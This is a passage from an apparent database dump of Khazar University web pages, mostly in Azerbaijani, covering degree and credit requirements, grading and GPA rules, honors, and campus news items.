dərəcəsi&nbsp;</strong></p><p>Мagistr dərəcəsinə namizəd оlanların iхtisas dеpar­tamеntin­dən еlmi rəhbəri оlmalıdır.&nbsp;Мagistr dərəcəsinə namizədlər üçün ümumi tələblər aşağı­dakı kimidir:</p><ul style=\"font-size:medium\"><li>Тələbə ən azı 7 fənn охuyub 32-60 krеdit tоplama­lıdır;</li><li>Тələbənin ümumi оrta qiyməti, еləcə də iхtisas fənləri üzrə оrta qiyməti 75-dən aşağı оlmamalıdır;</li><li>Fakültə və ya iхtisas dеpartamеnti tərəfindən təyin оlun­muş tеzis işini müdafiə еtməlidir.</li></ul><p>Bəzi iхtisaslarda magistr tеzisi 6 (altı) krеdit həcmin­də 2 (iki) iхtisas fənni ilə əvəz оluna bilər.&nbsp;Bəzi magistr dərəcəsi prоqramlarında tələbələr baka­lavr pil­lə­sinin tələbələri üçün fənn tədris еtməklə krеdit (ən çох 6 krеdit) qazana bilərlər. Тədris оlunan fənn tələbənin iхtisa­sına aid оlmalıdır. Bəzi hallarda çap оlunan əsərlərə və ya praktik fəaliyyətə görə də müəyyən sayda krеdit vеrilə bilər.</p><p><strong>Dоktоrluq (Ph.D) dərəcəsi</strong></p><p>Dоktоrluq dərəcəsinə namizəd оlan tələbənin iхtisas dеpar­ta­mеntindən еlmi rəhbəri оlmalıdır.Мagistr dərəcəsi оlan namizəddən, ən azı 7 fənn охumaqla və dissеrtasiya da da­хil оl­maq­la 32-60 krеdit tоp­lamaq tələb оlu­nur. Həmçinin tələbənin və еlmi rəh­bərin хüsusi məqsəd­lə­rindən asılı оlaraq bəzi əlavə fənlər salına bilər. Оrta qiy­mət 80-dən az оlma­ma­lıdır. Bəzi dоktоrluq dərəcəsi prоq­ramları tələbələrə dərs tədris еtməklə krеdit (ən çохu 6 krе­dit) əldə еt­məyə imkan vеrir. Bəzi hallarda çap оlunan əsər­lərə və ya praktik fəaliyyətə görə də müəyyən sayda krе­dit vе­rilə bilər.&nbsp;Doktorluq dərəcəsi dissertasiya işinin müdafiəsi ilə yekunlaşır. İmtahan еdən hеyət (müdafiə kоmitəsi) ən azı bеş üzv­dən ibarət оlmalıdır.&nbsp;2011-2012-ci tədris ilindən etibarən doktoranturaya qəbul Nazirlər Kabinetinin 2010-cu il 1 iyul tarixli 129 nömrəli qərarı ilə təsdiq olunmuş \"<em><a href=\"http://edu.gov.az/az/page/92/2618\">Doktoranturaların yaradılması və doktoranturaya qəbul Qaydaları</a></em>\"na uyğun olaraq aparılır.  <br></p>'),(290,155,'az','Dərəcələrin Təsnifatı','Dərəcələrin Təsnifatı','<p>Xəzər Universitetində fənlərin nömrələnməsi onun adının qısa ixtisar olunmuş forması və&nbsp;üç-rəqəmli ədədlərin köməyi ilə aparılır. Fənlərin nömrələnməsində rəqəmlər əsasən aşağıdakı qayda üzrə seçilir:&nbsp;</p><ul style=\"font-size:medium\"><li>Hazırlıq fənləri 001-099</li><li>1-ci və 2-ci&nbsp;kurs fənləri&nbsp;100-199 və 200-299</li><li>Sonuncu&nbsp;kurslar və bəzi magistr fənləri 300-399 və 400-499</li><li>Magistr və doktorantura fənləri 500 və ondan yuxarı ədədlər</li></ul><p><em>(Unutmayın ki, bu ümumi qaydadır. Hər bir fakültənin xüsusi fənn nömrələmə sistemi də ola bilər.)</em></p><p>Bir sıra fərdi təhsil və tədqiqat fənlərinin nömrəsi 500 və ya ondan yuxarı ədədlərdir. Departament və fakültələrin razılığı ilə bakalavr tələbələri 500 nömrəsi ilə&nbsp;başlayan fənlər götürə də bilər. Əsas departamentin&nbsp;razılığı ilə magistr və ya doktorantlar&nbsp;magistratura və ya doktorantura dərəcə tələblərinə uyğun 300 və ya ondan yuxarı ədədlə başlayan fənlər&nbsp;və əlavə kurs işləri, layihələr və ya müstəqil iş götürə bilərlər. Onlar 100-199 və 200-299 nömrəli fənləri seçə bilməzlər. Bütün tələbələr departamentin tələblərinə və ya fənlərin göstərilən şərtlərinə uyğun olaraq fənn seçimi etməlidirlər.&nbsp;</p>'),(291,156,'az','Bakalavr Pilləsində Təhsil Alan Tələbələrin Təsnifatı','Bakalavr Pilləsində Təhsil Alan Tələbələrin Təsnifatı','<p>Bakalavr pilləsində təhsil alan tələbələrin kurs təsni­fatı on­ların yığdıqları kreditin sayı ilə bağlıdır. Təsni­fat aşağıda göstərilən kimidir:</p><p></p><ul><li><strong><em>Birinci kurs tələbəsi</em></strong>:&nbsp;Proqramı bitirmək üçün tələb olunan kredit sayının 1/4-dən az kredit toplamış tələbə.</li></ul><p></p><p>Başqa sözlə, 128 (132) kredit toplanması tələb olunan ba­kalavr proqramında 32 (33)-dən az kredit toplamış tə­ləbə.</p><p></p><ul><li><strong><em>İkinci kurs tələbəsi:</em></strong>&nbsp;Proqramı bitirmək üçün tələb olunan kredit sayının 1/2-dən az, lakin 1/4-dən çox kredit toplamış tələbə.</li></ul><p></p><p>Başqa sözlə, 128 (132) kredit top­lanması tələb olunan bakalavr proq­ra­mın­da 32 (33) və ya daha çox, lakin 64 (66)-dan az kredit toplamış tələbə.</p><p></p><ul><li><strong><em>Üçüncü kurs tələbəsi:</em></strong>&nbsp;Proqramı bitirmək üçün tələb olunan kredit sayının 1/2-dən çox, lakin 3/4-dən az kredit toplamış tələbə.</li></ul><p></p><p>Başqa sözlə, 128 (132) kredit toplanması tələb olunan bakalavr proqramında 64 (66) və ya daha çox, lakin 96 (99)-dan az kredit toplamış tələbə.</p><p></p><ul><li><strong><em>Dördüncü kurs tələbəsi:</em></strong>&nbsp;Proqramı bitirmək üçün tələb olunan kredit sayının 3/4-dən çox kredit top­la­mış tələbə.</li></ul><p></p><p>Başqa sözlə, 128 (132) kredit toplanması tələb olunan bakalavr proqramında 96 (99) və ya daha çox kredit toplamış tələbə.</p>'),(292,157,'az','Birləşdirilmiş Bakalavr və Magistr Proqramları','Birləşdirilmiş Bakalavr və Magistr Proqramları','<p>Bəzi bakalavr proqramları tələbələrə bakalavr/magistr proq­ram­larında eyni zamanda təhsil almağa imkan ve­rir. Bakalavr proqramında təhsil alan tələbə magistr proq­ramının fənn­lə­ri­ni keçsə belə, bakalavr proq­ra­mını bitirənə kimi tələbə ba­ka­lavr tələbəsi sayılır. Öz bakalavr dərəcəsini almaq üçün tə­lə­bə təhsilinin son ilində magistr proqramlarından da fənn gö­türə bilər.</p>'),(293,158,'az','Ümumtəhsil Tələbləri','Ümumtəhsil Tələbləri','<p>Tələbələr 21 kreditdən ibarət olan ÜTT tələblərini ödə­mə­lidirlər:</p><ul><li><p>Humanitar elmlər&nbsp;–&nbsp;6 kredit</p></li><li><p>Sosial elmlər&nbsp;–&nbsp;6 kredit&nbsp;</p></li><li><p>Texnologiya və təbiət elmləri&nbsp;–&nbsp;9 kredit&nbsp;</p></li></ul><p><strong>Humanitar elmlər</strong>&nbsp;hissəsi <em>ədəbiyyat</em>, <em>dil və dilçilik</em>, <em>fəl­səfə</em>, <em>mədəniyyət </em>və <em>sivilizasiya</em>, <em>incəsənət və in­cə­sənət tarixi</em> fənlərini özündə birləşdirir. Bu böl­mə­dən tələbələr ən azı 6 kredit, yəni hərəsi 3 kredit olan 2 fənn götürməlidirlər.</p><p><strong>Sosial elmlər&nbsp;</strong>qrupuna <em>tarix</em>, <em>coğrafiya</em>, <em>siyasi elmlər</em>, <em>beynəl­xalq əlaqələr</em>, <em>qanun və dövlət</em>, <em>antropologiya</em>, <em>iqtisadiyyat</em>, <em>sosiologiya </em>və <em>psixologiya </em>fənləri da­xil­dir. Bu bölmədən tələbələr ən azı 6 kredit, yəni hə­rəsi 3 kredit olan 2 fənn götürməlidir.</p><p><strong>Texnologiya və təbiət elmləri</strong> ümumi təhsil proqra­mının bir hissəsi kimi üç sahəni özündə birləşdirir:&nbsp;</p><ul><li><em>Fiziki elmlər və riyaziyyat</em></li><li><em>Həyat haqqında elmlər</em></li><li><em>Kompüter elmləri</em></li></ul><p>Bu bölmə üzrə tələbələr ən azı üç fənn götürməlidir. Hər alt bölmədən bir fənn götürməklə 9 kredit, yəni hər bölmədən 3 kredit toplanılmalıdır.&nbsp;</p><p>Bəzi fənlər öz məzmununa və tətbiq metodlarına görə müx­tə­lif bölmələrə aid oluna bilər. Məsələn, antropo­logiya, coğ­ra­fiya və psixologiya əsasən sosial elmlər bölməsinə aid edi­lir. Lakin bəzi hallarda onları təbiət elmlərinə də aid etmək olar.&nbsp;</p>'),(5567,3205,'az','Professor Hamlet İsaxanlının İstanbul Aydın Universitetində 70 illik yubileyi keçirildi','2018-ci il mayın 7-də Türkiyənin İstanbul şəhərində yerləşən İstanbul Aydın Universitetində EURAS...','<p>2018-ci il mayın 7-də Türkiyənin İstanbul şəhərində yerləşən İstanbul Aydın Universitetində EURAS, İstanbul Aydın Universiteti və Xəzər Universitetinin birgə təşkilatçılığı ilə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının 70 illik yubileyinə həsr edilmiş “<em>Hamlet İsaxanlının əsərləri səsləndirilir</em>” adlı ədəbi-bədii gecə keçirildi. Gecədə Azərbaycan Respublikasının xalq artistləri Azər Zeynalov, Brilyant Dadaşova, Gülyanaq Məmmədova, əməkdar artistlər Səbinə Verdiyeva, gənc vokalistlər Gülşən İbadova və Atəş Qarayevin ifasında Hamlet İsaxanlının sözlərinə yazılmış mahnılar və Xəzər Universiteti “Dünya” məktəbinin müəllimləri Elşad Rzayev, Arzu Ömərova, Mədinə Karahan və Afaq Qəmbərovanın hazırladığı ədəbi-bədii proqram tamaşaçılar tərəfindən alqışlarla qarşılandı.</p><p>Saz ustası Cahangir Quluyevin H.İsaxanlının şeirlərinə bəstələdiyi və ifa etdiyi yeni mahnılar tamaşaçılar tərəfindən böyük marağa səbəb oldu. Mədəniyyət və incəsənət departamentinin müdiri Zülfiyyə Sadıqovanın rəhbərlik etdiyi Kamera Orkestrinin səsləndirdiyi canlı ifalar alqışlarla qarşılandı. Uzun sürən bədii gecənin sonunda İstanbul Aydın Universitetinin prorektoru professor Orhun Canpolat yubilyarı səhnəyə dəvət etdi. O.Canpolat EURAS və İstanbul Aydın Universiteti adından Hamlet İsaxanlını doğum günü münasibətilə təbrik etdi və ona hədiyyə təqdim etdi. Sonda Hamlet İsaxanlı bütün qonaqlara və təşkilatçılara təşəkkürünü bildirdi və şeirlərini oxudu. Həmin gün axşam Xəzər Universiteti adından proqramda iştirak edən qonaqlar, dostlar və iştirakçılar üçün ziyafət məclisi təşkil edildi. Ziyafətdə Koç Universiteti, İstanbul Aydın Universiteti, İstanbul Yıldız Teknik Universiteti, Kahraman Maraş Sütçü İmam Üniversiteti, İstanbul Üniversiteti, Mərmərə Universiteti və digər universitetlərdən gələn elm adamları iştirak etdilər. Ziyafət məclisində iştirak edən qonaqlar Hamlet İsaxanlının şərəfinə xoş sözlər söylədilər...</p><p>İstanbul Aydın Universitetindəki yubiley tədbirində iştirak edən heyət Atatürk Hava Limanından Bakıya dönməli idi. Lakin məlum olmayan səbəblərdən təyyarənin bir müddət gecikəcəyi haqqında anons verildi. Gecə saat on idi. Hər kəs yorğun görünürdü. Kamera Orkestrinin üzvləri ilə birlikdə <a href=\"https://cloud.mail.ru/stock/hBQthrs7BWkoCHV78bbzgJMN\">musiqili flaşmob</a> göstərilməsinə qərar verildi. Kamera Orkestrinin bir qrup üzvlərinin iştirakı ilə səsləndirilən ölməz bəstəkarımız Üzeyir Hacıbəylinin “Arazbarı”sı Atatürk Hava Limanını bürüdü. Gözləmə salonunda sərnişinlər və orada çalışanlar musiqili flaşmobu ayaq üstündə sürəkli alqışlarla qarşıladılar. Atatürk Hava Limanında səsləndilən musiqili flaşmob sosial şəbəkələrdə böyük marağa səbəb oldu.</p>'),(1995,1215,'az','Xəzər Universiteti Bragança Politexnik İnstitutu ilə əməkdaşlığa başlayacaq','2016-cı il iyunun 9-da Xəzər Universitetinin Neftçilər kampusunda Bragança Politexnik İnstitutunun nümayəndələri ilə görüş baş tutdu...','<p>2016-cı il iyunun 9-da Xəzər Universitetinin\r\nNeftçilər kampusunda <em>Bragança</em>&nbsp;Politexnik\r\nİnstitutunun<strong> </strong>nümayəndələri ilə görüş\r\nbaş tutdu.</p>\r\n<p>&nbsp;</p>\r\n<p><em>Bragança</em>&nbsp;Politexnik İnstitutu<strong> </strong>Portuqaliyada tətbiqi\r\nelmlər universitetidir. Görüşdə institutu kimya mühəndisliyi üzrə professor və\r\nPorto Universitetində (Portuqaliya) Dövlət Laboratoriyasının daimi üzvü Dr.\r\nSimão Pinho və İqtisadiyyat və Menecment Departamenti və <em>Bragança</em>&nbsp;Politexnik İnstitutunun Texnologiya və\r\nMenecment fakültəsinin nümayəndəsi Dr.\r\n<strong>Paula Odete Fernandes</strong> təmsil edirdi.</p>\r\n<p>&nbsp;</p>\r\n<p>Xəzər Universitetindən isə rektor Dr. Hassan Niknafs, tədris işləri üzrə\r\nprorektor professor Məhəmməd Nuriyev, İnkişaf Mərkəzinin direktoru Raziyə\r\nİsayeva, Keyfiyyətin Təminatı Şöbəsinin direktoru Lyudmila Sotova və Beynəlxalq\r\nƏlaqələr Şöbəsinin direktoru Turan Cəfərova görüşdə iştirak etdilər. </p>\r\n<p>&nbsp;</p>\r\n<p>Görüşün məqsədi akademik və elmi tərəfdaşlıq imkanlarını araşdırmaq,\r\nErasmus+ proqramı çərçivəsində əməkdaşlığı və ikili dərəcə proqramların yaradılmasını müzakirə etmək idi.</p>'),(294,159,'az','Xəzər Universitetinin Qiymətləndirmə Siyasəti','Xəzər Universitetinin Qiymətləndirmə Siyasəti','<p>Bakalavr proqramları üçün qiymətləndirmə sistemi (imtahanlar üzrə ballar və onun uyğun hərflə ifadəsi) aşağıdakı kimidir:</p><ul><li>“90-100” bal A” (əla)</li><li>“80-89” bal “B” (yaxşı)</li><li>“70-79” bal “C” (orta və ya qənaətbəxş)</li><li>“60-69” bal&nbsp;“D” (kafi)</li><li>&nbsp;“0-59” bal “F” (qeyri-kafi, belə fənnə görə heç bir kredit əldə olunmur)</li><li>\"IC\" (Natamam). Bu, yalnız 57-59 bal yığmış tələbələrə aiddir. Bu halda tələbələrə yenidən imtahan vermək üçün əlavə bir imkan verilir. Tələbə bunun üçün müəyyən olunmuş miqdarda ödəniş etməlidir. İmtahanı uğurla verdiləri halda onların nəticələri 60 bala tamamlanır. Lakin tələbə bu imkandan istifadə etməyə də bilər və həmin fənni, təhsil haqqını ödəməklə, yenidən götürüb oxuya bilər.</li></ul><p>Xəzər Univеrsitetində 100 ballıq qiymətləndirmə sis­tе­mi tətbiq оlunur. Bakalavr pilləsində kеçid balı 60, оrta qiymət (G.P.A.) 70, magistr pilləsində kеçid balı 65, оrta qiymət&nbsp;75, PhD pilləsində kеçid balı 70, оrta qiy­mət isə 80 müəyyənləş­dirilib. Kеçid balından aşa­ğı ballar üçün krеdit vеrilmir.</p><p>Hər hansı bir iхtisas üzrə bakalavr dərəcəsi almaq üçün tələbənin ümumi fənlərdən оrta qiyməti (G.P.А.) və iхtisas fənləri üzrə оrta qiyməti (G.P.А.) 70-dən aşağı оlmamalıdır. Оrta qiymət (G.P.А.) aşağıdakı kimi hе­sab­lanır:</p><p>Тələbənin müvəffəqiyyətlə imtahan vеrdiyi hər hansı bir fənn üzrə aldığı qiyməti həmin fənnin krеditinə vurub, bu cür hasillərin cəmini krеditlərin cəminə bölmək lazımdır.</p><p><strong>Nümunə</strong>:</p><p>Тələbə imtahanlardan aşağıdakı balları almışdır:</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Riyaziyyat (4 krеdit)&nbsp;-- 82</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İngilis dili&nbsp; (3 krеdit)&nbsp;-- 95</p><p>Dеməli,</p><p>G. P. А. = (4 × 82 + 3 × 95) : 7 = 87.5 ≈ 88</p><p>G.P.A. = 88<br></p><p>(G.P.А. həmişə yuvarlaqlaşdırılmış tam ədədlə ifadə оlunur.)</p><p>Bakalavr tələbəsi hər-hansı bir fəndən 60-dan az qiymət alarsa, həmin fənni və ya onun ekvivalentini yenidən oxumalıdır. Magistrlər imtahandan 65 baldan aşağı, doktorantlar isə 70 baldan aşağı bal toplayarlarsa, həmin fənni yenidən götürməlidirlər. Bakalavr tələbəsi yalnız 60-69&nbsp;aralığında qiymət aldığı fənləri yenidən götürüb oxumaqla (bu halda fənnin tam təhsil haqqı ödəniləcək) öz GPA-ni yüksəldə bilər.&nbsp;</p><p>İmtahan və qiymətləndirmə qaydaları barədə daha ətraflı məlumat üçün&nbsp;Xəzər Universitetinin \"İmtahan qaydaları\"na və “Tələbələr üçün yaddaş kitabçası”na baxa bilərsiniz.<br></p>'),(2508,1515,'az','Tələbələr üçün master klass keçirildi','2016-cı il oktyabrın 31-də Xəzər Universitetinin Məzunlar Assosiasiyası və Xəzər Universitetinin Məzunlarla İş Mərkəzi magistr və 3-cü və 4-cü kurs bakalavr tələbələri üçün “Uğurlu...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il\r\noktyabrın 31-də Xəzər Universitetinin Məzunlar Assosiasiyası və Xəzər\r\nUniversitetinin Məzunlarla İş Mərkəzi magistr və 3-cü və 4-cü kurs bakalavr tələbələri\r\nüçün “Uğurlu karyeranın qurulması yolları” mövzususnda master klass keçirdi. Məzunlarla\r\nİş Mərkəzinin direktoru Baba Bayramlı iştirakçıları salamladı və silsilə tədbirlər\r\nkimi keçirilməsi nəzərdə tutulan master klasların tələbələr üçün əhəmiyyətini\r\nvurğuladı. Məzunlar\r\nAssosiasiyasının prezidenti, “Bank of Baku” ASC İdarə Heyətinin sədr müavini\r\nEldar Həmidov özünün karyera təcrübəsi barədə danışdı və tələbələrə faydalı\r\ntövsiyələr verdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetinin məzunu Laura Həmidovanın rəhbərlik etdiyi “FireWorks” şirkətinin\r\nəməkdaşları “Uğurlu karyeranın qurulması yolları” mövzusunda geniş təqdimat\r\nkeçirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İnteraktiv\r\nşəraitdə keçən təqdimatda yerli və xarici tələbələr fəal iştirak edirdilər.</p>'),(1993,1214,'az','“Xəzər”in əməkdaşı ADA Universitetində mühazirə oxudu','2016-cı il iyunun 16-da Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov ADA Universitetində Bakı Ətraf Mühit Məktəbində...','<p>2016-cı il iyunun\r\n16-da Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov ADA\r\nUniversitetində Bakı Ətraf Mühit Məktəbində (<em>Baku Environmental School</em>) “İntegrasiyalı su idarə olunması” (<em>Integrated Water Management</em>) adlı\r\nmühazirə oxudu. Mühazirə müxtəli nazirliklərin və dövlət şirkətlərinin nümayəndələri\r\ntərəfindən maraqla dinlənildi.</p>'),(295,160,'az','İxtisas Tələbləri','İxtisas Tələbləri','<p>Tələbələr aşağıdakı sahələrdən özlərinə ixtisas seçə bilərlər:</p><ul><li><a href=\"http://www.khazar.org/az/menus/47/muhendislik_ve_tetbiqi_elmler_fakultesi\" style=\"font-weight:bold\">Mühəndislik və tətbiqi elmlər</a></li><li><a href=\"http://www.khazar.org/az/menus/54/iqtisadiyyat_ve_menecment_fakultesi\" style=\"font-weight:bold\">İqtisadiyyat və menecment</a></li><li><a href=\"http://www.khazar.org/az/menus/56/humanitar_ve_sosial_elmler_fakultesi\" style=\"font-weight:bold\">Humanitar və sosial elmlər</a></li><li><strong><a href=\"http://www.khazar.org/az/menus/55/tehsil_fakultesi\">Təhsil</a></strong></li></ul><p>İxtisas hər hansı bir akademik sahəni əhatə edən fənlərdən ibarətdir. Bir ixtisasa yiyələnmək üçün tədris proqramlarında müəyyən edilmiş sayda kredit toplamaqla yanaşı, bakalavr dərəcəsi almaq üçün tələbənin İxtisas fən­ləri üzrə orta qiyməti (G.P.A.) ən azı 70, magistr dərəcəsi almaq üçün İxtisas fən­ləri üzrə orta qiyməti (G.P.A.) ən azı 75, doktor dərəcəsi almaq üçün ən azı 80 olmalıdır.</p>'),(296,161,'az','Xəzər Universitetində Kredit Sistemi','Xəzər Universitetində Kredit Sistemi','<p>Xəzər Universitetində hər hansı bir ixtisas almaq üçün tələbələr bir sıra fənləri öyrənməli və imtahan verib tələb olunan miqdarda kredit toplamalıdır. Uni­ver­­sitetdə hər fənn əsasən 3 kredit dəyərindədir. Bəzi fənlər isə 1,5 – 4 kre­dit­likdir. Kredit saatları əsas eti­barilə fənn yükünü əks etdirir.</p><p>Xəzər Universitetində bakalavr dərəcəsi almaq üçün seçilən ixtisasdan asılı olaraq, ən azı 40 fənn oxu­maq­la 128-140 kredit toplamaq tələb olunur.</p><p>Magistr dərəcəsi almaq üçün, tezis də daxil olmaqla, mi­ni­mum 7 fənn üzrə imtahan verib 32-60 kredit top­lamaq tələb olunur.</p><p>Tələbələr yaz və payız semestrlərindən başqa, yay se­mestr­lə­rində də 3-4 fənn (ən çox 10 kredit) oxu­maq­la, kredit qazana bilərlər.</p>'),(1992,1214,'en','Khazar Faculty Member Delivers Lecture at ADA University ','On June 16, 2016, Rovshan Abbasov, Chair of the Department of Geography and the Environment delivered a lecture entitled...','<div>On June 16, 2016, Rovshan Abbasov, Chair of the Department of Geography and the Environment delivered a lecture entitled “Integrated Water Management” at Baku Environmental School. The lecture was listened by the representatives of various ministries and state companies with great interest.</div>'),(297,162,'az','Universitet Tələbləri','Universitet Tələbləri','<p>Bakalavr dərəcəsi almaq üçün tələbələr aşağıdakı 27 kre­dit­lik Universitet Tələblərini ödəməlidirlər:</p><p>İngilis dili&nbsp;–  15 kredit</p><p>Azərbaycanşünaslıq&nbsp;–  12 kredit</p><p><strong>İngilis dili</strong>ndən&nbsp;tələb olunan 15 kredit aşağıdakı fənləri verməklə toplanır:</p><ul><li>İngilis dili/Oxu 1&nbsp;–  3 kredit</li><li>İngilis dili/Yazı 1&nbsp;–&nbsp;3 kredit  </li><li>İngilis dili/Oxu 2&nbsp;–&nbsp;3 kredit  </li><li>İngilis dili/Yazı 2 –&nbsp;3 kredit  </li><li>İxtisasa uyğun İngilis dili&nbsp;–&nbsp;3 kredit</li></ul><p><strong>Qeyd</strong>: İngilis dili/Oxu fənni inglis dili üzrə oxuma və din­­lə­mə, İngilis dili / Yazı fənni isə yazı və da­nı­şıq kom­po­nentlərini özündə birləşdirir.</p><p>İngilis dili fənlərinin təhsil müddətinin ilk üç semestri ər­zin­də başa çatdırılması məsləhət görülür.</p><p><strong>Azərbaycanşünaslıq</strong>&nbsp;aşağıdakı fənləri əhatə edir:</p><ul><li>Azərbaycan dili&nbsp;–&nbsp;3 kredit  </li><li>Azərbaycan ədəbiyyatı –&nbsp;3 kredit</li><li>Azərbaycan mədəniyyəti –&nbsp;3 kredit</li><li>Azərbaycan tarixi –&nbsp;3 kredit  </li></ul><p>Tələbələr Azərbaycan dilində yaxşı danışmalı, oxu­malı və yazmalıdırlar. Azərbaycan dili və ədəbiyyatı bi­rinci təhsil ilində başa çatdırılmalıdır. Əgər Azər­bay­can dili tələbənin ana dili deyilsə, tələbə əcnəbi tələbələr üçün nəzərdə tutul­muş xüsusi Elementar Azərbaycan dili fənnini öyrənməlidir.</p><p><em>Azərbaycan mədəniyyəti </em>fənni olaraq tələbə İncə­sənət və Mədəniyyət departamenti tərəfəndən hazır­lan­mış Azərbay­can mədəniyyətindən praktiki dərslər (xalq musiqisi, musiqi mədəniyyəti, kino tarixi, rəqs an­samblı, xor, milli geyimlər və s.) seçərək kredit toplaya bilər.</p>'),(5566,3204,'en','A seminar “Start your career with AzeriCard”','On May 11, 2018, a seminar “Start your career with AzeriCard” was held...','<p>On May 11, 2018, a seminar “Start your career with AzeriCard” was held for the third-year students of the School of Engineering and Applied Sciences of Khazar University. In the seminar, Jahangir Mammadov, Director of the Department of Customer Relations and Business Development of AzeriCard, and Elnara Novruzova, HR Manager, delivered presentations. In his presentation, Jahangir Mammadov talked about the structure of the company, its projects and partner companies as well as career and internship opportunities at AzeriCard.</p><p>Farid Musayev, Head of Department of Information Technologies, Dr. Fakhranda Alimardanova, Vice-dean of the School of Engineering and Applied Sciences, and Sabina Allahverdiyeva, Manager of Career Center, participated in the seminar.</p><p>In the end, associates of the company answered participants’ questions.</p>'),(298,163,'az','Təhsilin Sürətlənməsi','Təhsilin Sürətlənməsi','<p>Akselerasiya müxtəlif üsullarla aparıla bilər:</p><ul><li>Yay sessiyasında iştirak etməklə;</li><li>Fakültə dekanının razılığı ilə akademik il ərzində əlavə fənlər götürməklə;</li><li>Birbaşa imtahan yolu ilə (credit by exam) kredit qazan­maq­la.</li></ul><p>Birbaşa imtahan vasitəsilə kredit yalnız Xəzər Uni­versi­tetinin Kataloqunda göstərilmiş fəndən verilə bilər.</p><p>Sonuncu il tələbəsi öz son semestri və ya yay ses­si­yası ər­zin­də magistr proqramından dərs götürə bilər və həmin dərsi fa­kültə dekanının və elmi rəhbərinin razılığı ilə magistr proq­ramı üçün saxlaya bilər.</p>'),(299,164,'az','Fəxri Proqramlar','Fəxri Proqramlar','<p>Xəzər Universitetində tələbələrə xüsusi fəxri proq­ramlar tək­­lif edilir. Fəxri proqramlar məhduddur və daha yaxşı oxu­yan tələbələrə verilir. Bu proqramlarda tələbələrə fakültə tərəfindən fərdi ya­naşı­lır. Onlar dərslərə gəlməklə yanaşı tədqiqat mən­bələrindən başqalarına nisbətən daha çox istifadə edir, kiçik seminar­ların, ictimai tədqiqatların və gö­rüş­lərin iştirakçısı olurlar.&nbsp;</p><p>Təhsilin ilk illərində ve­ri­lən bu proqramlar tələbələrə geniş bilik, bacarıq ve­rir, on­ların təhsil aldıqları sahəni daha yaxşı başa düş­mə­lə­rinə, bilik və vərdişlərə uğurla yiyələnməyə kömək edir.&nbsp;</p>'),(300,165,'az','Fəxri Diplomlar','Fəxri Diplomlar','<p>Xəzər Universitetini Fəxri diplomla bitirmək tələbənin orta qiymətindən (G.P.A.) asılıdır.&nbsp;</p><p>Bakalavr pilləsində orta qiyməti 85 və ya 85-dən çox olan məzunlara «Fəxri diplom» verilir.&nbsp;</p><p>Magistratura pilləsində orta qiyməti 90 və ya 90-dan çox olan məzunlara «Fəxri diplom» verilir.&nbsp;</p>'),(301,166,'az','Dekanın Fəxri Vərəqi','Dekanın Fəxri Vərəqi','<p>Hər semestrin sonunda dekanlıq semestr ərzində yaxşı oxuyan tələbəni fəxri vərəq ilə təltif edir. Dekanın fəxri vərəqi semestr boyu 12 kreditdən az götürmə­mək şərtilə orta qiyməti 85 və daha yüksək olan tələ­bə­yə verilir. Əgər tələbə semestrdə hər hansı bir fən­dən 60-dan aşağı bal alarsa, ona dekanın fəxri vərəqi ve­rilə bilməz.&nbsp;</p>'),(302,167,'az','Qiymətləndirmə','Qiymətləndirmə','<div><p>Xəzər Universitəsində 100 ballıq qiymətləndirmə sis­te­mi tətbiq olunur. Bakalavr pilləsində keçid balı 60, orta qiymət (G.P.A.) 70, magistr pilləsində keçid balı 65, orta qiymət &nbsp;75, Ph.D pilləsində keçid balı 70, orta qiy­mət isə 80 müəyyənləş­dirilib. Keçid balından aşa­ğı ballar üçün kredit verilmir.</p><p>Hər hansı bir ixtisas üzrə bakalavr dərəcəsi almaq üçün tələbənin ümumi fənlərdən orta qiyməti (G.P.A.) və ixtisas fənləri üzrə orta qiyməti (G.P.A.) 70-dən aşağı olmamalıdır. Orta qiymət (G.P.A.) aşağıdakı kimi he­sab­lanır:</p><p>Tələbənin müvəffəqiyyətlə imtahan verdiyi hər hansı bir fənn üzrə aldığı qiyməti həmin fənnin kreditinə vurub, bu cür hasillərin cəmini kreditlərin cəminə bölmək lazımdır.</p><p><strong>Nümunə:</strong></p><p>&nbsp;Tələbə imtahanlardan aşağıdakı balları almışdır:</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Riyaziyyat (4 kredit) &nbsp;&nbsp;-- 82</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İngilis dili&nbsp; (3 kredit)&nbsp;&nbsp; -- 95</p><p><strong>&nbsp;Deməli,</strong></p><p>&nbsp;G. P. A. = (4 × 82 + 3 × 95) : 7 = 87.5 ≈ 88</p><p>&nbsp;(G.P.A. həmişə yuvarlaqlaşdırılmış tam ədədlə ifadə olunur.)&nbsp;</p><p>Tələbələr semestr ərzində akademik göstəricilərinə görə qiymətləndirilirlər. Qiymətləndirmədə dava­miy­yət, dərsdə fəal iştirak etmə, fərdi və ya qrup işləri, dis­kussiyalar və pre­zentasiyalar, laboratoriya işləri, ya­zı işləri, praktiki və şifahi imtahanlar, tezis və dis­ser­tasiyalar və s. nəzərə alına bilər.</p><p>Əgər tələbə fəndən kəsilirsə o, fənnin ekvivalentini və ya özünü yenidən oxumalı və imtahan verməlidir.</p><p>57-59 arası bal toplayan tələbə yenidən imtahan verərək qiymətin artıra bilər. Lakin bunun üçün o müəyyən ödəniş etməlidir.</p><p>İmtahan və qiymətləndirmə qaydaları barədə daha ətraflı məlumat üçün&nbsp; Xəzər Universitetinin \"İmtahan qaydalar\"-a və “Tələbələr üçün yaddaş kitabçası”na baxa bilərsiniz.</p>  